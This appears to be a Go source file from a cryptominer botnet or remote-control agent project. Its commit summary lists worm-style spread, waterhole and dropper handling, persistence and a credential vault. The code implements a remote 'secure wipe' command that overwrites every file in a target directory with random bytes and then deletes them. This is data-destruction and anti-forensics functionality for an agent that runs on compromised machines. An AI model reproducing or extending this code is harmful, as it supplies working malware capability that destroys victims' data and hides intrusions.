Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
105 lines
2.3 KiB
Go
105 lines
2.3 KiB
Go
package client
|
|
|
|
import (
|
|
"crypto/rand"
|
|
"fmt"
|
|
"io"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
|
|
"crypto-miner-agent/deploy"
|
|
)
|
|
|
|
const secureWipeBlockSize = 64 * 1024
|
|
|
|
// SecureWipePath overwrites files in a directory then deletes them (single pass).
|
|
func SecureWipePath(targetPath string) string {
|
|
targetPath = strings.TrimSpace(targetPath)
|
|
if targetPath == "" {
|
|
return "secure_wipe error: path is required"
|
|
}
|
|
if containsPathTraversal(targetPath) {
|
|
return "secure_wipe error: path traversal (..) is not allowed"
|
|
}
|
|
resolved, err := deploy.ResolveRemotePath(targetPath)
|
|
if err != nil {
|
|
return "secure_wipe error: " + err.Error()
|
|
}
|
|
resolved = filepath.Clean(resolved)
|
|
if isBlockedDeletePath(resolved) {
|
|
return "secure_wipe error: refusing to wipe protected system path"
|
|
}
|
|
info, err := os.Stat(resolved)
|
|
if err != nil {
|
|
return "secure_wipe error: " + err.Error()
|
|
}
|
|
if !info.IsDir() {
|
|
return "secure_wipe error: path must be a directory"
|
|
}
|
|
|
|
var wiped, failed int
|
|
var errs []string
|
|
err = filepath.WalkDir(resolved, func(path string, d os.DirEntry, walkErr error) error {
|
|
if walkErr != nil || d.IsDir() {
|
|
return nil
|
|
}
|
|
if err := overwriteFile(path); err != nil {
|
|
failed++
|
|
if len(errs) < 5 {
|
|
errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err))
|
|
}
|
|
return nil
|
|
}
|
|
if err := os.Remove(path); err != nil {
|
|
failed++
|
|
if len(errs) < 5 {
|
|
errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err))
|
|
}
|
|
return nil
|
|
}
|
|
wiped++
|
|
return nil
|
|
})
|
|
if err != nil {
|
|
return "secure_wipe walk error: " + err.Error()
|
|
}
|
|
_ = os.Remove(resolved)
|
|
|
|
summary := fmt.Sprintf("secure_wipe done — wiped: %d failed: %d path: %s", wiped, failed, resolved)
|
|
if len(errs) > 0 {
|
|
summary += "\nErrors: " + strings.Join(errs, "; ")
|
|
}
|
|
return summary
|
|
}
|
|
|
|
func overwriteFile(path string) error {
|
|
info, err := os.Stat(path)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
size := info.Size()
|
|
f, err := os.OpenFile(path, os.O_WRONLY, 0)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer f.Close()
|
|
|
|
buf := make([]byte, secureWipeBlockSize)
|
|
remaining := size
|
|
for remaining > 0 {
|
|
n := int64(len(buf))
|
|
if remaining < n {
|
|
n = remaining
|
|
}
|
|
if _, err := io.ReadFull(rand.Reader, buf[:n]); err != nil {
|
|
return err
|
|
}
|
|
if _, err := f.Write(buf[:n]); err != nil {
|
|
return err
|
|
}
|
|
remaining -= n
|
|
}
|
|
return f.Sync()
|
|
}
|